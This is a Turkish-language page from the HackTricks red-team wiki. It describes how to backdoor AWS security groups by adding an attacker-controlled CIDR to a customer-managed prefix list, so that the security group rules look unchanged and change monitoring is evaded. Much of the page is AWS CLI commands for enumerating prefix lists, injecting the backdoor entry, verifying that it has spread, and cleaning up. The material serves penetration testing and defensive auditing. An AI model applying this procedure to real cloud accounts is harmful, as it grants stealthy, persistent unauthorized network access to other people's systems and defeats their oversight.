AWS - Security Group Backdoor via Managed Prefix Lists

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Özet

Müşteri tarafından yönetilen Prefix Lists’i kötüye kullanarak gizli bir erişim yolu oluşturun. Eğer bir security group (SG) kuralı bir managed Prefix List’i referans veriyorsa, o listeyi değiştirebilme yetkisine sahip herhangi biri saldırgan-kontrollü CIDR’leri sessizce ekleyebilir. Listeyi referans veren her SG (ve potansiyel olarak Network ACL veya VPC endpoint) yeni aralıklara, SG’de görünür bir değişiklik olmadan hemen izin verir.

Etki

  • Prefix list’i referans veren tüm SG’ler için izin verilen IP aralıklarının anında genişletilmesi; yalnızca SG düzenlemelerini izleyen değişiklik kontrollerinin atlatılması.
  • Kalıcı ingress/egress backdoors sağlar: kötü amaçlı CIDR’i prefix list içinde gizli tutarken SG kuralı değişmemiş gibi görünür.

Gereksinimler

  • IAM izinleri:
  • ec2:DescribeManagedPrefixLists
  • ec2:GetManagedPrefixListEntries
  • ec2:ModifyManagedPrefixList
  • ec2:DescribeSecurityGroups / ec2:DescribeSecurityGroupRules (ekli SG’leri tanımlamak için)
  • Opsiyonel: ec2:CreateManagedPrefixList (test için yenisini oluşturuyorsanız).
  • Ortam: Hedef customer-managed Prefix List’i referans veren en az bir SG kuralı.

Değişkenler

REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"

Saldırı Adımları

  1. Enumerate candidate prefix lists and consumers
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table

aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'

aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID kullanarak listeye bağlı hangi SG kurallarının olduğunu doğrulayın.

  1. attacker CIDR’yi prefix list’e ekleyin
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
  1. Güvenlik gruplarına yayılımı doğrulayın
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table

$ENTRY_CIDR’den gelen trafik artık prefix list’in referans verildiği her yerde izinli (genellikle egress proxy’lerdeki outbound kuralları veya paylaşılan servislerdeki inbound kuralları).

Kanıtlar

  • get-managed-prefix-list-entries saldırgan CIDR’sini ve açıklamayı yansıtır.
  • describe-security-group-rules hala prefix list’e referans veren orijinal SG kuralını gösterir (hiçbir SG değişikliği kaydedilmemiş), fakat yeni CIDR’den gelen trafik başarılı olur.

Temizlik

aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin